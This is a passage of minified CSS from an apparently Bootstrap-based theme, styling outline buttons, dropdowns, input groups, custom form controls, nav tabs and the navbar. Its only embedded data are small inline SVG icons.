rgba(94,114,228,.5)}.btn-outline-secondary{color:#f7fafc;border-color:#f7fafc;background-color:transparent;background-image:none}.btn-outline-secondary:hover{color:#212529;border-color:#f7fafc;background-color:#f7fafc}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 0 rgba(247,250,252,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#f7fafc;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#212529;border-color:#f7fafc;background-color:#f7fafc}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(247,250,252,.5)}.btn-outline-success{color:#2dce89;border-color:#2dce89;background-color:transparent;background-image:none}.btn-outline-success:hover{color:#fff;border-color:#2dce89;background-color:#2dce89}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 0 rgba(45,206,137,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#2dce89;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;border-color:#2dce89;background-color:#2dce89}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(45,206,137,.5)}.btn-outline-info{color:#11cdef;border-color:#11cdef;background-color:transparent;background-image:none}.btn-outline-info:hover{color:#fff;border-color:#11cdef;background-color:#11cdef}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 0 rgba(17,205,239,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#11cdef;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;border-color:#11cdef;background-color:#11cdef}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(17,205,239,.5)}.btn-outline-warning{color:#fb6340;border-color:#fb6340;background-color:transparent;background-image:none}.btn-outline-warning:hover{color:#fff;border-color:#fb6340;background-color:#fb6340}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 0 rgba(251,99,64,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#fb6340;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#fff;border-color:#fb6340;background-color:#fb6340}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(251,99,64,.5)}.btn-outline-danger{color:#f5365c;border-color:#f5365c;background-color:transparent;background-image:none}.btn-outline-danger:hover{color:#fff;border-color:#f5365c;background-color:#f5365c}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 0 rgba(245,54,92,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#f5365c;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;border-color:#f5365c;background-color:#f5365c}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(245,54,92,.5)}.btn-outline-light{color:#adb5bd;border-color:#adb5bd;background-color:transparent;background-image:none}.btn-outline-light:hover{color:#fff;border-color:#adb5bd;background-color:#adb5bd}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 0 rgba(173,181,189,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#adb5bd;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#fff;border-color:#adb5bd;background-color:#adb5bd}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(173,181,189,.5)}.btn-outline-dark{color:#212529;border-color:#212529;background-color:transparent;background-image:none}.btn-outline-dark:hover{color:#fff;border-color:#212529;background-color:#212529}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 0 rgba(33,37,41,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#212529;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;border-color:#212529;background-color:#212529}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(33,37,41,.5)}.btn-outline-default{color:#172b4d;border-color:#172b4d;background-color:transparent;background-image:none}.btn-outline-default:hover{color:#fff;border-color:#172b4d;background-color:#172b4d}.btn-outline-default.focus,.btn-outline-default:focus{box-shadow:0 0 0 0 rgba(23,43,77,.5)}.btn-outline-default.disabled,.btn-outline-default:disabled{color:#172b4d;background-color:transparent}.btn-outline-default:not(:disabled):not(.disabled).active,.btn-outline-default:not(:disabled):not(.disabled):active,.show>.btn-outline-default.dropdown-toggle{color:#fff;border-color:#172b4d;background-color:#172b4d}.btn-outline-default:not(:disabled):not(.disabled).active:focus,.btn-outline-default:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-default.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(23,43,77,.5)}.btn-outline-white{color:#fff;border-color:#fff;background-color:transparent;background-image:none}.btn-outline-white:hover{color:#212529;border-color:#fff;background-color:#fff}.btn-outline-white.focus,.btn-outline-white:focus{box-shadow:0 0 0 0 rgba(255,255,255,.5)}.btn-outline-white.disabled,.btn-outline-white:disabled{color:#fff;background-color:transparent}.btn-outline-white:not(:disabled):not(.disabled).active,.btn-outline-white:not(:disabled):not(.disabled):active,.show>.btn-outline-white.dropdown-toggle{color:#212529;border-color:#fff;background-color:#fff}.btn-outline-white:not(:disabled):not(.disabled).active:focus,.btn-outline-white:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-white.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(255,255,255,.5)}.btn-outline-neutral{color:#fff;border-color:#fff;background-color:transparent;background-image:none}.btn-outline-neutral:hover{color:#212529;border-color:#fff;background-color:#fff}.btn-outline-neutral.focus,.btn-outline-neutral:focus{box-shadow:0 0 0 0 rgba(255,255,255,.5)}.btn-outline-neutral.disabled,.btn-outline-neutral:disabled{color:#fff;background-color:transparent}.btn-outline-neutral:not(:disabled):not(.disabled).active,.btn-outline-neutral:not(:disabled):not(.disabled):active,.show>.btn-outline-neutral.dropdown-toggle{color:#212529;border-color:#fff;background-color:#fff}.btn-outline-neutral:not(:disabled):not(.disabled).active:focus,.btn-outline-neutral:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-neutral.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(255,255,255,.5)}.btn-outline-darker{color:#000;border-color:#000;background-color:transparent;background-image:none}.btn-outline-darker:hover{color:#fff;border-color:#000;background-color:#000}.btn-outline-darker.focus,.btn-outline-darker:focus{box-shadow:0 0 0 0 rgba(0,0,0,.5)}.btn-outline-darker.disabled,.btn-outline-darker:disabled{color:#000;background-color:transparent}.btn-outline-darker:not(:disabled):not(.disabled).active,.btn-outline-darker:not(:disabled):not(.disabled):active,.show>.btn-outline-darker.dropdown-toggle{color:#fff;border-color:#000;background-color:#000}.btn-outline-darker:not(:disabled):not(.disabled).active:focus,.btn-outline-darker:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-darker.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(0,0,0,.5)}.btn-link{font-weight:400;text-decoration:none;color:#5e72e4}.btn-link:hover{text-decoration:none;color:#233dd2}.btn-link.focus,.btn-link:focus{text-decoration:none;box-shadow:none}.btn-link.disabled,.btn-link:disabled{pointer-events:none;color:#8898aa}.btn-group-lg>.btn,.btn-lg{font-size:.875rem;line-height:1.5;padding:.875rem 1rem;border-radius:.4375rem}.btn-group-sm>.btn,.btn-sm{font-size:.75rem;line-height:1.5;padding:.25rem .5rem;border-radius:.25rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;overflow:hidden;height:0;transition:height .3s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;content:'';vertical-align:.255em;border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{font-size:1rem;position:absolute;z-index:1000;top:100%;left:0;display:none;float:left;min-width:10rem;margin:.125rem 0 0;padding:.5rem 0;list-style:none;text-align:left;color:#525f7f;border:0 solid rgba(0,0,0,.15);border-radius:.4375rem;background-color:#fff;background-clip:padding-box;box-shadow:0 50px 100px rgba(50,50,93,.1),0 15px 35px rgba(50,50,93,.15),0 5px 15px rgba(0,0,0,.1)}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;content:'';vertical-align:.255em;border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;content:'';vertical-align:.255em;border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;margin-left:.255em;content:'';vertical-align:.255em}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;content:'';vertical-align:.255em;border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{overflow:hidden;height:0;margin:.5rem 0;border-top:1px solid #e9ecef}.dropdown-item{font-weight:400;display:block;clear:both;width:100%;padding:.5rem 1rem;text-align:inherit;white-space:nowrap;color:#212529;border:0;background-color:transparent}.dropdown-item:focus,.dropdown-item:hover{text-decoration:none;color:#16181b;background-color:#f6f9fc}.dropdown-item.active,.dropdown-item:active{text-decoration:none;color:#16181b;background-color:transparent}.dropdown-item.disabled,.dropdown-item:disabled{pointer-events:none;color:#8898aa;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{font-size:.875rem;display:block;margin-bottom:0;padding:.5rem 1rem;white-space:nowrap;color:#8898aa}.dropdown-item-text{display:block;padding:.5rem 1rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.9375rem;padding-left:.9375rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group.show .dropdown-toggle{box-shadow:none}.btn-group.show .dropdown-toggle.btn-link{box-shadow:none}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:flex;width:100%;flex-wrap:wrap;align-items:stretch}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;width:1%;margin-bottom:0;flex:1 1 auto}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:flex;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{font-size:.875rem;font-weight:400;line-height:1.5;display:flex;margin-bottom:0;padding:.625rem .75rem;text-align:center;white-space:nowrap;color:#adb5bd;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;align-items:center}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1.75rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{font-size:.875rem;line-height:1.5;padding:.875rem 1rem;border-radius:.4375rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{font-size:.75rem;line-height:1.5;padding:.25rem .5rem;border-radius:.25rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:2.75rem}.custom-control-inline{display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#5e72e4;background-color:#5e72e4;box-shadow:0 3px 2px rgba(233,236,239,.05)}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 3px 2px rgba(233,236,239,.05),0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#5e72e4}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;border-color:#5e72e4;background-color:#5e72e4;box-shadow:0 3px 2px rgba(233,236,239,.05)}.custom-control-input:disabled~.custom-control-label{color:#8898aa}.custom-control-input:disabled~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-2.75rem;display:block;width:1rem;height:1rem;content:'';pointer-events:none;border:#dee2e6 solid 1px;background-color:#fff;box-shadow:0 3px 2px rgba(233,236,239,.05)}.custom-control-label::after{position:absolute;top:.25rem;left:-2.75rem;display:block;width:1rem;height:1rem;content:'';background:no-repeat 50%/50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 8 8\'%3e%3cpath fill=\'%23fff\' d=\'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z\'/%3e%3c/svg%3e')}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#5e72e4;background-color:#5e72e4;box-shadow:none}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 4 4\'%3e%3cpath stroke=\'%23fff\' d=\'M0 2h4\'/%3e%3c/svg%3e')}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(94,114,228,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(94,114,228,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'-4 -4 8 8\'%3e%3ccircle r=\'3\' fill=\'%23fff\'/%3e%3c/svg%3e')}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(94,114,228,.5)}.custom-switch{padding-left:3.5rem}.custom-switch .custom-control-label::before{left:-3.5rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-3.5rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;border-radius:.5rem;background-color:#dee2e6}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{transform:translateX(.75rem);background-color:#fff}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(94,114,228,.5)}.custom-select{font-size:.875rem;font-weight:400;line-height:1.5;display:inline-block;width:100%;height:calc(1.5em + 1.25rem + 2px);padding:.625rem 1.75rem .625rem .75rem;vertical-align:middle;color:#8898aa;border:1px solid #dee2e6;border-radius:.375rem;background:url('data:image/svg+xml,%3csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 4 5\'%3e%3cpath fill=\'%2332325d\' d=\'M2 0L0 2h4zm0 5L0 3h4z\'/%3e%3c/svg%3e') no-repeat right .75rem center/8px 10px;background-color:#fff;box-shadow:inset 0 1px 2px rgba(0,0,0,.075);-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#5e72e4;outline:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.075),0 0 0 0 #5e72e4}.custom-select:focus::-ms-value{color:#8898aa;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size='1']){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#8898aa;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select-sm{font-size:.75rem;height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem}.custom-select-lg{font-size:.875rem;height:calc(1.5em + 1.75rem + 2px);padding-top:.875rem;padding-bottom:.875rem;padding-left:1rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + 1.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + 1.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#5e72e4;box-shadow:0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.custom-file-input:disabled~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:'Browse'}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{font-weight:400;line-height:1.5;position:absolute;z-index:1;top:0;right:0;left:0;height:calc(1.5em + 1.25rem + 2px);padding:.625rem .75rem;color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;box-shadow:0 3px 2px rgba(233,236,239,.05)}.custom-file-label::after{line-height:1.5;position:absolute;z-index:3;top:0;right:0;bottom:0;display:block;height:calc(1.5em + 1.25rem);padding:.625rem .75rem;content:'Browse';color:#8898aa;border-left:inherit;border-radius:0 .25rem .25rem 0;background-color:#fff}.custom-range{width:100%;height:calc(1rem + 0);padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #f8f9fe,0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #f8f9fe,0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #f8f9fe,0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;border:0;border-radius:1rem;background-color:#5e72e4;box-shadow:0 .1rem .25rem rgba(0,0,0,.1);-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#f7f8fe}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;cursor:pointer;color:transparent;border-color:transparent;border-radius:1rem;background-color:#dee2e6;box-shadow:inset 0 .25rem .25rem rgba(0,0,0,.1)}.custom-range::-moz-range-thumb{width:1rem;height:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;border:0;border-radius:1rem;background-color:#5e72e4;box-shadow:0 .1rem .25rem rgba(0,0,0,.1);-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{transition:none}}.custom-range::-moz-range-thumb:active{background-color:#f7f8fe}.custom-range::-moz-range-track{width:100%;height:.5rem;cursor:pointer;color:transparent;border-color:transparent;border-radius:1rem;background-color:#dee2e6;box-shadow:inset 0 .25rem .25rem rgba(0,0,0,.1)}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:0;margin-left:0;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;border:0;border-radius:1rem;background-color:#5e72e4;box-shadow:0 .1rem .25rem rgba(0,0,0,.1);appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{transition:none}}.custom-range::-ms-thumb:active{background-color:#f7f8fe}.custom-range::-ms-track{width:100%;height:.5rem;cursor:pointer;color:transparent;border-width:.5rem;border-color:transparent;background-color:transparent;box-shadow:inset 0 .25rem .25rem rgba(0,0,0,.1)}.custom-range::-ms-fill-lower{border-radius:1rem;background-color:#dee2e6}.custom-range::-ms-fill-upper{margin-right:15px;border-radius:1rem;background-color:#dee2e6}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:flex;margin-bottom:0;padding-left:0;list-style:none;flex-wrap:wrap}.nav-link{display:block;padding:.25rem .75rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{cursor:default;pointer-events:none;color:#8898aa}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.375rem;border-top-right-radius:.375rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#8898aa;border-color:transparent;background-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#525f7f;border-color:#dee2e6 #dee2e6 #f8f9fe;background-color:#f8f9fe}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.375rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#5e72e4}.nav-fill .nav-item{text-align:center;flex:1 1 auto}.nav-justified .nav-item{text-align:center;flex-basis:0;flex-grow:1}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:flex;padding:1rem 1rem;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar>.container,.navbar>.container-fluid{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar-brand{font-size:1.25rem;line-height:inherit;display:inline-block;margin-right:1rem;padding-top:.0625rem;padding-bottom:.0625rem;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:flex;flex-direction:column;margin-bottom:0;padding-left:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav 